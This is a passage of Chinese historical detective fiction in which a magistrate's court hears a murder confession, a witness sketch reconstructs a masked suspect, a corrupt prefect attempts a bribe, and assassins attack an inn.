赵瑞堂却笑了:“我没想杀人,我从古刹拿走的只是一本转债续命之书,这种法子无需杀人便可续命,我何苦还要费尽心思去杀人再构陷。”
刺史忍不住道:“证据确凿你还要狡辩,等郑司马回来你狡辩也无用,还不如早些交代,免受皮肉之苦。”
“我没说我要狡辩。”赵瑞堂道,“我的确只知道转债续命之法,至于另一种法子,是别人告诉我的。”
刺史:“何人?”
赵瑞堂:“一位路过的游商,那日我亲眼见到石碾与那三人斗殴,他用迷药将那三人迷晕,自己带着偷来的黄金离去。”
“便是那时,我遇到了那个游商,他告诉我取这三人的尸油炼化可续命,返老还童。”
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刺史:“所以你便信了?还趁机杀了那晕过去的三人?”
“我没信。”赵瑞堂道,“起初,人不是我杀的,是那个游商,他当着我的面将其中一人杀了取尸油炼化。”
赵瑞堂回忆起那日。
“他接连杀了两人,还剩最后一个,他让我把那人拖到炭火上,不知为何,我鬼使神差地照做,直到那人的尸油被烘出。”
刺史眉头皱得老深,“越说越荒谬,你们谁见过那个游商?”
“那游商是何模样?”
赵瑞堂:“他戴了头巾,挡了一大半脸,我并未见过他的样貌,临走时,他给了那本书,让我照着炼。”
“我当时有些迷糊,待我回过神来才意识到杀了人,偏偏这时候石碾回来了,他目睹了我杀人……”
赵瑞堂说着,精神仿佛有些恍惚。
池楚浠赶紧对景序昭道:“快让大夫给他瞧瞧,怕是要出事。”
景序昭叫来了大夫,大夫直接在堂下诊治。
刺史:“大夫,他如何?”
大夫行了礼道:“回刺史,赵员外的身体早已亏虚严重,若是早些用上好的药吊着,或许还能撑些时日,如今来看,怕是撑不过两月,原本赵员外还提着一口气,今日受了刺激,那口气便泄得快,人一下就垮了。”
刺史也没想到,审来审去,犯人还没定罪呢就活不了多久了,总感觉自己白忙活了一场。
大夫当场给赵瑞堂扎针,让他精神起来。
刺史:“赵瑞堂,接着说。”
赵瑞堂:“我杀了石碾,将他烧得面目全非,叫了顺儿处理尸体,只是没想到从小养到大的家奴竟背叛我,如今整个赵家都是我那义子的了。”
赵瑞堂又露出自嘲的笑容。
赵佑天不知何时暗中攥紧了拳头,他终于忍不住道:“赵员外,顺儿是你从小养到大的家奴,不是畜生,你对他未免太苛待了些,他或许还不如街头流浪的畜生,至少不挨打骂。”
赵瑞堂笑了:“奴才难道还要供着,自己养的奴才,我打便打了。”
赵佑天微微闭眼,努力咽下那口怨气。
赵瑞堂瞪向赵佑天:“你如此维护家奴,难道还将他们看做手足不成?果然是难民堆里捡来上不了台面的东西。”
赵佑天缓缓道:“或许吧,父亲向来是这样看我的。”
他与顺儿是亲手足,这一点,赵瑞堂从来不知。
他们都曾经流亡在这片土地上。
宋晚吟今日没来得及化妆,她不喜欢用苍白的面目示人,便没摘面纱。
宋晚吟对池楚浠道:“让他再描述一次游商的模样,我能画出来。”
池楚浠道:“可他并不知游商到底是何模样,那游商挡住了大半张脸。”
宋晚吟掩嘴轻咳了几声:“即使遮住半张脸,眉眼也能画出,让我试试吧。”
池楚浠看向景序昭,想征得他的同意。
她还没提,景序昭便对刺史道:“断案不能不明不白,让赵员外再形容一次那游商的模样,一定要说得详细。”
已经到了这一步,景序昭参与此案良多,刺史没必要拒绝他的提议,便点头同意。
38. 他撒谎了
景序昭吩咐州衙的人:“准备纸笔。”
笔墨都摆好了,宋晚吟上前提笔做准备。
“赵员外,再说一次,尽量回忆你见的那个人,包括他的穿着打扮,眉眼神态。”
赵员外复述了一遍。
所有人都好奇地看着宋晚吟作画,她一点点地将人物展现在画纸上。
刺史探头看来,取笑道:“这与赵瑞堂说的并不是一模一样嘛,你怎么画的。”
池楚浠也略有疑惑,为何画出来的人与赵瑞堂形容的有细微差别。
宋晚吟用笔头指着画像的额骨道:“人的额骨、颧骨、下颌骨等骨骼决定了面部的大致轮廓,而眼周的皮肉等肌肉附着点影响着面部的细节。”
“方才赵员外特别肯定地说出了游商的眉毛是何模样,但却记不太清鼻梁的上半部分,那么我便根据人骨规律调整了他的脸部线条,画出来便是如今这副模样。”
刺史听得愣在了原地,他从未听过这等说辞。
池楚浠道:“你是说你能通过部分人脸还原他的真实样貌,那如此说来,你也能将这张脸画全?”
此时的画像是遮住下半张脸的。
宋晚吟想了想道:“我可以试试。”
池楚浠很是惊讶,眼睛都亮了几分,这样的画技她也是头一回遇到。
“晚吟,你似乎什么都会。”池楚浠感慨。
宋晚吟露出来的一双眼睛里有些淡淡的笑意:“我自小身体不好,长久待在家中,不学些东西如何打发时间呢,况且我阿耶最是擅长丹青,我就跟着学了些。”
刺史道:“你倒是画来看看,本官不信你这小娘子能有如此绝妙的丹青之艺。”
宋晚吟另起一幅画,这一次,她要尝试画游商的全貌。
这样的画作需要费些功夫,刺史等得不耐烦,叫来了婢女为他按头。
宋晚吟用笔杆衡量五官比例,每一笔都是深思熟虑后才画下。
没画多久,她的身子便有些摇摇欲坠,池楚浠赶紧上前将人扶住。
“没事吧,别画了,先歇着。”
宋晚吟摇摇头,她看向还被扣押着的母亲,愈加坚定了要画完的决心。
“池姐姐,我可以。”
陆逍从别处搬来了一张凳子给宋晚吟。
近日他与这宋小娘子接触颇多,起初觉得她病恹恹的不讨喜,还总爱莫名其妙地笑他,如今却觉得很可惜,一朵含苞待放的花还未开便要枯萎了。
宋晚吟微微侧头,眼尾弯弯地带起一丝笑意道:“有劳陆郎君。”
宋晚吟体力不济,最后几笔落得有些虚浮。
她将笔搁下道:“好了。”
不少人第一时间凑上去看,画纸上是一个年轻男人的模样,五官虽没有特别出彩的地方,但各处均很协调,算得上是一个清秀郎君。
刺史指着画像道:“不像个走南闯北的商人,倒像是个文弱书生,我就说你这是胡乱画的,白白耽误这些时辰。”
陆逍也挤过来看,在看见画像的那瞬间他顿时瞪大了眼睛:“景兄……这!”
陆逍立即看向景序昭,见他正紧紧盯着画像。
陆逍知道此时不能言说,便将一切震惊压了下去。
池楚浠扫了一眼景序昭和陆逍,深觉这幅画像另有深意,她将画像拿到了自己手里,防止被州衙的人随意扔了。
池楚浠扶着宋晚吟坐在一旁休息。
宋晚吟的眼中满是歉意:“池姐姐,我是不是多此一举了?给你们添麻烦了,我也是第一次用此法画人像,或许会有错处。”
池楚浠抚了抚宋晚吟头顶,柔声道:“等找到那个游商就什么都知道了,你能用这种思路画人像已是万中无一。”
刺史:“闲杂人等都退下!”
陆逍和池楚浠扶着宋晚吟从州衙出来。
宋晚吟红了眼眶握着池楚浠的手道:“我阿娘何时能出来,如今证据确凿,人不是她杀的。”
陆逍抢先道:“你放心,景侍郎既然已插手此事,即便依旧是刺史断案,这结果也不会冤枉好人,而且这个刺史啊,他的好日子到头了。”
陆逍嫌恶地远远瞪了一眼赵秉钧所在的位置:“发到丹水那边的赈灾粮出了问题,他赵秉钧脱不了干系,两年前丹水流民暴动一事他便把自己摘了个干净,这次景兄可不会放过他。”
池楚浠想起那夜赶尸人领着白僵尸来磕头求公道的景象,她一直记挂着这事。
她没有能力救济灾民,只能盼着朝廷官员能将此事放在心上。
沙洲腹地夜夜笙歌,刺史从不为生计发愁,他何曾想起过边缘地区的百姓。
池楚浠道:“陆兄,景序昭他人还没回长安,能将此事办妥吗?”
池楚浠怕饿着肚子的孩子们等不到粮食送来的那一天。
陆逍拍着胸脯道:“必须办妥,否则池娘子认为我为何来沙洲,我们景侍郎的办事效率那是一等一的。”
“放心吧,粮食直接往丹水那边送去了,朝廷派往沙洲的人很快就到了。”
池楚浠心中一震,这已经不是办事效率的问题了,景序昭这般雷厉风行背后必定是景家在撑腰。
可他亲口说景司空恼了他,罚他到苍山,若景司空真的恼了他,又怎会在长安为他操办此事?
池楚浠怔了好一会儿。
景序昭到底是怎么来苍山的?
他在撒谎。
池楚浠久久没能回神,其实她也在景序昭身上赌了一局,赌他能否兑现对赶尸人的承诺,因此她才会对花三娘夸下海口。
只要刺史一倒,花三娘便会对她说的话深信不疑,从此再也不敢提及她曾调查白蓉绒一事。
只是没想到结果来得这么快,快到池楚浠都来不及反应片刻。
亲口听到陆逍证实此事,池楚浠只觉得大脑一片空白。
过了许久她才缓过来,这样一看,景家不仅能为景序昭托底,更能在最短的时间内完成景序昭交代的事,且还不是一件小事。
明面上景序昭与景家闹不愉快,实则景家将景序昭放在一个极其重要的位置。
池楚浠越想越觉得后背发凉,长安势力盘根交错,景序昭显然已完全卷入其中。
“池娘子,你发什么呆呢?”陆逍唤了句。
池楚浠回过神来:“没,我在想那个游商,陆兄,你是不是见过此人?”
陆逍为难似地笑了笑:“倒是见过与画像相似之人,只是那人在长安,未曾听闻他来沙洲。”
几人已到了客舍。
宋晚吟道:“多半是我画错了,若是让我亲眼见到他挡住半张脸的样子,我一定可以画出来。”
陆逍道:“你已经画得很好了,而且真有这么个人,你不觉得很神奇吗,就算是打巧撞了面相,那也是缘分。”
“什么缘分。”宋晚吟瘪嘴道,“那是个杀人凶手。”
陆逍打了一下自己的嘴:“是我说得不好,是机缘,不是缘分,你能画出来这幅画像是某种机缘。”
池楚浠将带回来的画在桌上摊开,又仔
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细看了许久。
“长安人士……陆兄,他叫什么?”
陆逍:“你当真了?池娘子,你真以为他是凶手?”
凭宋晚吟这幅画就猜测这人是凶手这种事,陆逍是不认同的,方才说那些话不过是哄宋晚吟开心,他心底里不认为宋晚吟真能描绘出那个游商的样貌。
只不过是碰巧画出了这个样子。
见池楚浠一直看着他,陆逍无奈道:“谢鹤明,少府监的监丞,在燕不染手底下做事,算是这几年长安新秀。”
池楚浠盯着画像问:“多大年纪?”
陆逍:“二十八九,不确定,没问过。”
“我对这人印象深吧主要是因为一件事儿,这个谢鹤明几年前丧妻,说是要另娶苏家小娘子续弦,但景家人说了句将来想让苏小娘子进门给景家二郎做妻,那苏家听闻便婉拒了谢家。”
“要不是这事儿我也留意不到谢鹤明,他先前是个芝麻小官呢,后来靠了些手段才去了少府监,如今也算名气不小。”
陆逍转头一看,瞧见池楚浠有些愣愣的。
他忽然意识到什么,悔不当初,赶紧道:“池娘子你别误会,景家说是让苏小娘子给左侍郎为妻,但也只是说说而已,是侧室夫人说的,当不得真,你、你可千万别误会!”
陆逍知道自己说错了话,自家上峰好不容易远赴苍山在池娘子面前蹭好感,这下好了,快被他一句话抹杀了。
“池娘子……那个……”
陆逍发现池楚浠一副深思熟虑的神情,好似完全不跟儿女私情沾边。
忽然,池楚浠猛地朝陆逍看来:“他在长安小有名气,自然怕露脸被人认出,所以才不得不以围布遮面!”
陆逍:“……”
是这么推测的吗?
陆逍:“可他明明在长安啊,我替左侍郎传了那么多暗线消息,好说也认识不少暗线人脉,从未听说他来了沙洲。”
池楚浠极其认真地盯住陆逍问:“你一定知道白蓉绒去了何处?”
陆逍呵呵笑了笑,点点头道:“是,我是奉左侍郎的命去盯着她,她去接手了赵瑞堂的私矿,这会儿估计还在忙活。”
池楚浠笑笑,陆逍没撒谎,和赵佑天说的能对上,白蓉绒的确霸占了赵家私矿。
霸占私矿,还铸私器,她胆子不小,不愧是外来的。
陆逍算了算时辰道:“宋娘子的母亲想必也快出来了,既是被冤枉的,州衙就不会再扣着人。”
宋晚吟从床上下来,扶着床沿就要给陆逍行大礼。
“多谢陆郎君。”
“诶起来起来。”陆逍赶紧把人扶住,“就别谢我了,我也是奉命行事,你还是好好歇着吧,等你阿娘出来你们母女好团聚。”
宋晚吟道:“也多谢池姐姐,若不是你重新验尸,我阿娘恐怕已经被斩首示众。”
池楚浠扶着她回去躺好:“不必多说,你能养好身子最重要。”
陆逍在一旁越琢磨越不对劲,池楚浠先是打听了谢鹤明的身份,接着又问白蓉绒的行踪,怎么看都觉得怪怪的。
好歹也是跟着景序昭混了几年,有些问题陆逍只要稍微一想便能明白。
他道:“池娘子,我出去一趟。”
陆逍匆匆忙忙离去。
宋晚吟望着他的背影道:“池姐姐,他怎么每次都来去匆匆,像是赶着去办什么要命的事。”
池楚浠道:“或许真是要命的事。”
宋晚吟看不透他们的行事,默默地闭上了眼睛休息。
39. 私下贿赂
池楚浠比陆逍先想到那一层,假设宋晚吟画的人像没有大的差错,那么那位游商便是谢鹤明。
谢鹤明假扮游商诱导赵瑞堂杀人,赵瑞堂自顾不暇又身陷牢狱,致使牢牢抓在手里的私矿被人借机夺走,而此时接手私矿的人不是赵佑天,而是白蓉绒。
那么一切就说得通了,前提是画像上的人是谢鹤明。
池楚浠能理解陆逍为何思索一番后那般急切地出门,倘若假设是对的,那么他和景序昭的消息来源必定出了问题。
前一刻还信誓旦旦地说自己了解暗线的送信网,下一刻便出现了批漏。
换做谁都会瞬间毛骨悚然,更别提把脑袋栓在裤腰上为景序昭办事的陆逍了。
池楚浠看了一眼因太过劳累而睡过去的宋晚吟,朝中的事太过复杂,她弄不明白,也没想过要刨根问底。
官与民终究不同,她与景序昭是两路人。
这一夜,池楚浠就留在宋晚吟房中。
还未到午时,宋晚吟便来州衙门口等着,算时间,阿娘该出来了。
郑司马已提交寻回的罪证,加上赵瑞堂口供,已经彻底洗清了王湘宁的嫌疑。
今日的太阳照在身上暖洋洋的,宋晚吟出门时就化了个精致的妆容,从表面上褪去了一身病气。
王湘宁和伍二娘一起出来,在牢中多日,王湘宁思女成疾,面容憔悴不堪。
伍二娘搀着她出来,将她送到女儿面前。
“你们母女终于洗清冤屈。”伍二娘道。
“阿娘……”宋晚吟扑进母亲怀里。
“阿娘,女儿不孝,女儿连累了你。”
王湘宁不断抚着宋晚吟后脑勺,轻声道:“你做得很好,是阿娘糊涂偏要去求那续命之术。”
“若不生邪念,便无灾祸。”
伍二娘让他们母女俩独处,自己站去了另一边。
她抬头望着越升越高的太阳,眯了眯被阳光刺到的眼睛。
伍二娘的眼睛生得美,但此刻那双眼中却了无生气。
案情明了,可是这又如何,石碾再也不可能活着回来。
池楚浠就离伍二娘几步远,她道:“你与赵佑天早就认识?”
伍二娘朝池楚浠看来,反正案子都结了,她也不介意说出来。
“自然是早就认识,石碾在赵家做事,我也偶尔会出入赵家,见过少主许多次。”
见池楚浠那副探究的神情,伍二娘乐意继续道:“石碾的死其实是少主告诉我的,也是他引我找景县丞报案,若不是他,我永远无法为石郎讨回公道。”
她说的与池楚浠推断的一致,池楚浠道:“你故意到州衙才将一切告知刺史,也是因为那时得到了赵佑天的暗示,他一定会拿出人证物证咬死赵瑞堂,所以你愿意奋力一搏。”
“没错。”伍二娘苦笑,“石郎只是个家奴,对于主人家来说,家奴死就死了,只要给一笔钱财就能打发,即便律法上写着不可无故打死家奴那又怎样。”
“家奴的命比狗还贱,有了少主帮我,我愿意一试,我不要钱,只要一个公道。”
池楚浠沉默了片刻。
伍二娘说得没错,家奴的命很贱,不会有人为他伸冤。
她忽地望着池楚浠笑了笑:“幸得遇见你和景县丞,多谢池娘子为我们伸冤。”
池楚浠缓缓弯起唇角,问:“你叫什么名字?”
伍二娘一愣,满脸疑惑:“伍二娘啊。”
池楚浠道:“不是排行。”
伍二娘恍惚了一瞬,缓缓道:“伍倩儿。”
池楚浠抬手挡了挡直射而来的阳光,弯起的眼角带了丝笑意:“伍倩儿,很好听。”
伍倩儿微微扬着脸,直面朝阳,她道:“我带石郎回家办后事。”
“愿池娘子眉寿颜和、平安顺遂。”
州衙里的人小跑到池楚浠面前道:“池娘子,刺史有请。”
瞧这差役的态度如此恭敬,池楚浠不免神情凝重,这是刺史身旁跟着的人,刺史对她向来是不给正眼的,毕竟她只是景序昭的客卿。
说好了不再打景序昭客卿的名头,但这名头到了沙洲也没摘下。
头衔一旦冠上,就很难摘除。
池楚浠随差役来见赵秉钧。
只见这屋里唯有赵秉钧一人,连个下人都没有,池楚浠不免有些疑惑。
“刺史,您唤我何事?”
赵秉钧张口便是赔笑,态度很是亲和,他道:“赵某想求池娘子一件事。”
池楚浠一怔:“我一介草民,哪能帮上刺史,您说笑了。”
赵秉钧脸上的笑容不仅没收下,反而更讨好了:“白娘子不在,赵某能拜托的只有你了,从长安来的巡按御史明日便会到州衙,御史会看州衙所有卷宗,池娘子你看,眼下这桩案子赵某尽心尽力办了,为民伸冤,严惩凶手,赵某可从未徇私枉法。”
池楚浠听他讲着,他说这些话竟一点不觉得心虚。
赵秉钧道:“景县丞有张参军做保,张参军被刺杀一案还没有任何眉目,巡按御史此番前来会探查此事,至于州衙从前的事就可有可无,对巡按御史来说不甚重要。”
池楚浠打断道:“刺史有话直说吧,巡按御史到底是来做什么的,我一民妇不懂这些。”
赵秉钧尴尬地扯了扯嘴角:“我的意思是让御史专心查张参军被刺杀一案,至于其他的就算了,衙里从前的卷宗随意过过眼就是了,左右也没什么大事。”
“既然张参军与景县丞那般要好,还是探查刺杀一事更为要紧,省得日后还提心吊胆,那御史是景司空的门生,只要景司空一句话,他便不会细查从前的卷宗。”
池楚浠面色淡然,不为所动,她道:“御史是景司空门生与我有何干系,刺史说这番话民女听不懂。”
赵秉钧终于正色了些:“池娘子,你别跟我装糊涂了,你私下里唤景县丞阿兄,唤得那般亲密,你在他面前自是比我更好说话。”
赵秉钧捧过来一只木盒道:“我查过池娘子你的身世,你父亲早在两年前便去世了,后辗转到长安跟着季郎君过活。”
他打开木盒,拿出里面的一叠银票递过去:“以你的身份是没资格成为季郎君的正室夫人,白娘子乃是尚书之女,将来可助他官运亨通,而你能在他身边做个妾室已经是天大的福气。”
池楚浠没接递过来的银票,赵秉钧又把银票放回盒子,捧着盒子道:“我知你不满妾室的身份,你看这样如何,我认你做女儿,大摆宴席告知所有人,日后你便可以高嫁,不必给人做妾。”
他推了推手里的盒子:“
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这些钱也都归你,以后的日子你想怎么过就怎么过,我就一个要求,无论你用什么方法,让景县丞牵制御史,别在我这里翻那些陈年旧案。”
池楚浠扫了一眼盒子,随即看着赵秉钧道:“难道刺史手里的那些陈年旧案就这般见不得人,都是些冤假错案么?”
“那当然不是。”赵秉钧道,“本官又不糊涂,怎会都是冤假错案,只是两年前丹水暴乱,至今为止有些案子都没理清,本官也是怕影响了以后仕途。”
“池娘子,只要你肯帮我,本官必定让你风风光光地高嫁,绝不做妾。”
池楚浠无声地笑了一下,也不知道赵秉钧是找谁查的她,只认为她把名分看得比天高,殊不知,她离开季沐风哪里只是因为一个名分。
“刺史,我虽唤景县丞阿兄,可他又不是我亲阿兄,我哪能做得了景家的主,刺史别折煞我了。”
“民女先回去了。”
“等等。”赵秉钧叫住她,“你是对本官开的条件不满?那不如你自己提,想要什么?”
池楚浠定定地看着赵秉钧,浅笑道:“刺史这般害怕巡按御史,恐怕不止卷宗理不清这么简单吧?”
赵秉钧好歹也做了这么些年的官,心态还算稳当,他淡淡道:“巡按御史代圣上巡视,本官自当重视,即便并无大事,本官也想要顺顺当当地过了审查,不过就是找你帮点小忙,你竟不肯。”
“池娘子,季沐风已娶了白蓉绒为妻,你是无望了,但你将来还有机会嫁与景县丞,你难道不想要个好名分,你要的我都可以给你。”
赵秉钧循循善诱:“只需帮我办这件小事而已,对你来说不是难事,看得出来景县丞对你关照有加,你使点手段必能让他为你所用。”
池楚浠眉头微皱,赵秉钧明知说不动景序昭便想叫她去,如此笃定景序昭会被她说服。
池楚浠沉声道:“两年前丹水暴乱一事可在巡按御史审查范围内?”
赵秉钧忽地沉默了片刻,他道:“此事早已下了定论,该革职的革职,本官已做好了力所能及之事。”
池楚浠轻笑了一声:“且不说两年前,这次天灾朝廷有送粮饷来,可据我所知灾民们领到的粮食远远不足糊口,敢问刺史,这也叫问心无愧么?”
赵秉钧脸色有些难看:“与你说这么多,你却教训起本官来了,本官为你提供一个前所未有的好身世,嫁妆按亲闺女给,你还不愿?”
池楚浠朝赵秉钧走近,盯着他问:“你见过僵尸吗?”
赵秉钧怒瞪一眼:“什么僵尸,你在胡扯什么?”
池楚浠盯着他,弯起唇角道:“丹水那边的僵尸见了人会跪拜磕头,有机会的话刺史可以去瞧瞧。”
说完,池楚浠转身往门口走去。
门没锁,有婢女守在远处,池楚浠拉开门大步离去。
小厮道:“刺史,可要将她留下?”
赵秉钧冷冷地看向池楚浠背影:“巡按御史明日便到,这关头别闹出人命,算她好运,让她去吧。”
刚走出大门,景序昭便勒马在池楚浠面前停下:“刺史找你?”
池楚浠嗯了一声,她抬眼望着马背上的人道:“他担心巡按御史翻查旧案,或许还涉及两年前丹水暴乱一事,他想让景家牵制巡按御史,对此事轻拿轻放。”
40. 大肆屠杀
景序昭冷笑一声:“他找你竟是为了这事,算他眼光不错,找上了你。”
“何意?”池楚浠道。
景序昭将另一匹马儿的缰绳递了过来:“随我去个地方。”
池楚浠翻身上马。
她的马跑在景序昭侧后方,虽顶着大太阳,但风是有些凉的。
池楚浠不小心猛吸了一口凉风道:“巡按御史能这么快来沙洲,都是阿兄的功劳,我又怎么可能劝你牵制御史,更何况这是你对赶尸老翁的承诺。”
景序昭道:“你说的没错,都是我的手笔,巡按御史此番前来是要把两年前丹水暴乱一案也翻出来,两罪并罚,让他退无可退。”
池楚浠沉默了片刻,道:“阿兄能喊得动长安的巡按御史,不止是阿兄一人在其中周旋吧?”
“还有景司空?或者景家其他人,你亲兄长?”
景序昭回头看来:“池娘子聪慧过人怎会想不到,恐怕现在是来质问我的。”
池楚浠默默地捏紧了缰绳。
他倒是很懂她的心思,连她想质问什么都知道。
没等池楚浠继续发声,景序昭便道:“我来苍山虽被父亲斥责,但此行也是他首肯,我终究是景家二郎,我做的一切都与景家密切相关。”
“楚浠,你还想问什么?我都一一回你。”
前面的马儿似乎放慢了脚步,池楚浠正好追上,两人并肩而行。
池楚浠摇摇头:“我没什么好问的,我只是很高兴,阿兄愿为民请命,是个好官。”
景序昭看过来:“你又不是第一天认识我,难道不知我是个好官?”
池楚浠一夹马腹,让马儿超过旁边的人。
她朗声道:“那就祝景县丞扶摇直上、加官进爵!”
还没跑出多远,身后便追上来一匹马,马背上的人“呜呼”了一声,大声道:“景小子、池丫头,怎么不等等为师!”
两人一起扭头看去,竟是岳逸钦。
岳逸钦的马是最好的,他轻而易举追上池楚浠与她并肩:“池丫头,你可知你的机缘在何处?”
池楚浠道:“您算命算好了?我还有机缘,是什么?”
岳逸钦傲气地嗯了一声:“你的机缘在两年前,你的劫数也是两年前,都过去了,如今的你已是重生之态。”
“重生之态……”池楚浠在心中默念了一遍。
两年前是她濒死之时,从踏进丹水那一刻起便迎来了人生的劫数,后来她随季沐风去了长安,本以为会过着相夫教子的日子,没想到世事难料。
池楚浠笑笑:“您算得很对。”
岳逸钦意味深长地扫了两个小辈一眼。
夜色降临,马儿最终停留在一处高地。
池楚浠朝景序昭指的方向望去,那是一个山脚,入夜了,那里还亮着灯,能看见少数几个晃动的人影。
“那便是赵家的私矿。”景序昭道,“如今已被白蓉绒接手,她此番前来沙洲表面是为了浮光锦,实则这才是她的目的。”
池楚浠遥遥望着那个方位,晚上似乎也在开工采矿,大晟朝是有少部分私矿不归官府管的,但都有向官府报备,官府也会向私矿征收钱税。
白蓉绒用手段揽下这笔生意,必定是对她大有裨益。
岳逸钦道:“瑞锦长公主手底下赚钱的生意可不止这些,一个私矿而已,由她去吧,过几年朝廷就都把私矿收回去了。”
“对了,景小子,你何时离开苍山,我有事交予你办。”
景序昭看了眼池楚浠,道:“离开苍山的时间还未定,师父有何事?”
岳逸钦捋了捋胡子,若有所思地道:“来沙洲之前我本是要先去找长孙夫人,可通往灵枢谷的路被淹了,要过去只能坐船,那船家却不肯载我,说吴家办喜事,不喜生人经过。”
“你说奇怪不奇怪,哪有办喜事不喜生人的,又不是办丧事。”
岳逸钦说着从怀里掏出一块手帕,那手帕上有着“阿荞”两个字,想来是女子的名字。
景序昭一看那手帕顿时睁大了眼睛,惊道:“师父……你私藏女子手帕,长孙夫人知道吗?”
“你胡说什么!”岳逸钦抖开手帕给他看,“我在河岸等船等了许久,没有一个船夫过来,这手帕是另一个等船人给我的,是他女儿阿荞的。”
“那人说阿荞前不久嫁去了吴家,吴家给了阿荞娘家一大笔钱,可回门日却不见女儿回来,阿荞她爹去找过几次,都没见到女儿,但每次找去吴家,吴家人都给了他钱。”
“阿荞爹觉得此事奇怪,见不到女儿又不安心,于是那日碰巧跟我一起等船,可船夫却说吴家马上又娶新妇了,是给吴家小郎君娶的。”
景序昭道:“莫非阿荞嫁的也是吴家小郎君?”
“没错!”岳逸钦一抖手帕道,“她正是嫁的吴小郎君,可听那船夫说是按娶妻规制办的,这不奇怪吗,哪有人不到几个月连娶两妻的。”
岳逸钦叹了口气:“我也是急着去找长孙那妇人,否则倒也可以等一等,等水退了再过去,可如今似乎不是等不等的问题,哪有像吴家这样娶妻的,不合规制。”
“你告诉那边官府的人,让他们派人去看看,若不合规制就多罚他些钱,再让人家父女见见面,嫁出去的女儿又不是不要了,哪有不让娘家人见面的道理。”
景序昭道:“可是那阿荞爹给了你什么好处,你要这般帮着他。”
岳逸钦一副被人看穿的模样笑道:“给了我一壶酒,是好酒。”
陆逍领着他们回醉仙楼时已是半夜。
“宋娘子和她阿娘下午便去了古刹,与怀素师父一道走的。”陆逍道。
景序昭瞥了陆逍一眼:“你舍不得宋娘子?”
“哪有!没有的事。”陆逍赶紧道。
“左侍郎,这是你的房间,隔壁是池娘子的。”陆逍帮忙推开门,“岳师父,您住我边上那间。”
“明日巡按御史就到了,我们见过御史再走,这也是景司空的意思。”
岳逸钦道:“除了护好张参军和见御史两件事,他还有没有让你带别的话?比如让他早日回长安成婚,别成天瞎跑,景博珩好不容易把孩子接回去,怎么又轻易把人放出来。”
轻易把人放出来?
陆逍忍不住笑了:“左侍郎来苍山可不是那么轻易,费了好大一番功夫呢,若不是他非要来,景司空绝对不会放他离开长安。”
“景司空在长安早已为他安排好一切,临时来苍山这种事
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甚至都找不到一个合理的由头,还是景司空想了个法子,非说左侍郎在刑部办事不力,缺乏经验,然后把人打了一顿发配苍山,对外说是历练历练。”
岳逸钦惊讶地张了张嘴,怔怔道:“他非要来苍山?”
陆逍:“是啊,是他求来的。”
岳逸钦:“……”
此时景序昭已经回了房间,门都合上了。
池楚浠故意放慢了脚步,听见了几句他们的谈话,但又不好意思站着听,于是退回房间后就靠在门里边伸长了耳朵听,好歹是让她听清了。
接着外边就没了陆逍和岳逸钦的声音。
睡了不到一个时辰,池楚浠迷迷糊糊听见了外面传来细微的吵闹声。
但白日里忙活了一天,她实在是太过劳累,眼睛怎么也睁不开,就这样浑浑噩噩地又睡熟过去。
昨夜睡得晚,早上自然醒来时已经日上三竿了,池楚浠有些茫然地从床上爬起来,怎么睡到这个时辰也无人来唤她。
敲门声传来,岳逸钦在门外道:“池丫头,还没睡醒?太阳晒屁股了!快些起来!”
“岳师父……我这就起。”
池楚浠动作麻利地穿戴。
从起床的那一刻起池楚浠就觉得不对劲,房间里隐约能闻到一股烧焦的味道。
她拉开门问:“岳师父,可是哪里烧起来了?”
岳逸钦笑了一声:“呵,你这娃娃鼻子真灵,烧了,昨天夜里就烧了,衙门烧了。”
“州衙?”
“嗯,烧了两间屋子,烧得干干净净,真是好算计,胆子也是真大。”
岳逸钦嘲讽道:“敢在御史来的这一天烧房子,他倒是胆子长了毛,上赶着送死。”
“走吧,吃了早饭等他们出发。”
“去哪儿?”池楚浠问。
“拿了御史的手令去怀德县。”
一碗面还没吃完,屋里顿时冲进来一群蒙面人,这群人手里提着大刀,见人就砍。
“嘿!”岳逸钦抓起池楚浠的手腕就逃。
“快走,赵秉钧疯了!”
上午的醉仙楼客人不多,在内的大多都是一些住宿的客人,其中大部分是来往的商人。
冲进来的蒙面人分出一部分挡住了大堂的出口,当血溅三尺时,大堂里响起男人女人的尖叫声。
大白天的屠杀,这些人一辈子也没见过。
第一批冲进来的蒙面人冲上了二楼、三楼,他们手里的刀锃亮嗜血。
很快,楼上响起惊叫声。
岳逸钦看准了一个偏僻的角落拽着池楚浠就朝那奔去,他虽是六十的年纪,但逃命时跑得比年轻人快多了。
“池丫头,今天倒了血霉了!”
“陆逍那小子怎么还不来!”
被砍落的人头咕噜噜滚到池楚浠脚边,那一瞬间她吓懵了。
岳逸钦怒骂:“好个腌臜泼才!大白天就敢砍人,他要造反吗?”
浓郁的血腥味钻进池楚浠鼻腔,她被岳逸钦拽着逃向另一个角落。
幸好醉仙楼宽敞,可以躲的地方多,即便是蒙面人们挨个砍杀,那也需要些时间。
池楚浠的脑子一片混乱,她想不明白什么事值得这样大肆屠杀。
41. 葬身火海
在逃跑途中,池楚浠迎面撞上一个人。
“季沐风,你怎么还在醉仙楼?”
白蓉绒早就不在这里了,如今案子已了,季沐风理应跟着白蓉绒去。
“来不及多说,快跟我走!”季沐风去拉池楚浠另一只空出来的手腕。
“我知道从哪里可以逃出去,跟我来。”
岳逸钦被他带得转了个方向,这样一跑,他们就暴露在蒙面人的眼前,不好藏住了。
一把大刀迎头劈了下来,刀刃对准了季沐风。
“小心!”
池楚浠用力往回拉了他一把,惊险地避开了这一刀。
季沐风来不及害怕,推倒身旁的木架拦住刺客,刺客被这么一挡,速度便慢了下来,给了他们一个逃跑的机会。
可已经有刺客注意到他们几人,顿时围上来三个刺客,三人都不会武,只能亡命奔逃。
大堂中央的刺客高声道:“一个都不要放过!”
这句话是死命令,今日醉仙楼里的客人全都要死。
岳逸钦是见过大场面的,当年宫变他都亲眼所见,没想到今日这屠杀竟让他害怕起来。
或许是心里记挂着重要的人,还有重要的事没办完,舍不得做刀下鬼。
三个刺客提刀冲了过来,几乎将他们的退路全部堵死。
沾着血的刀迎头劈下。
岳逸钦在这一瞬间感觉魂魄都离体了,整个人一脚踏入了鬼门关。
池楚浠一步上前将岳逸钦护在身后,季沐风就紧挨着岳逸钦,他这个位置也正好在池楚浠的庇护之下。
池楚浠重重闭眼,要死就死个痛快吧,最好一刀下去别留太多痛楚。
“哐”的一声,劈下来的刀被另一把刀横着挡开。
陆逍立即与那三人交上手,他慌忙问了句:“你们没事吧?”
池楚浠立即转头去看岳逸钦:“您还好吗?”
岳逸钦抚了抚心脏:“年纪大了,不经吓了。”
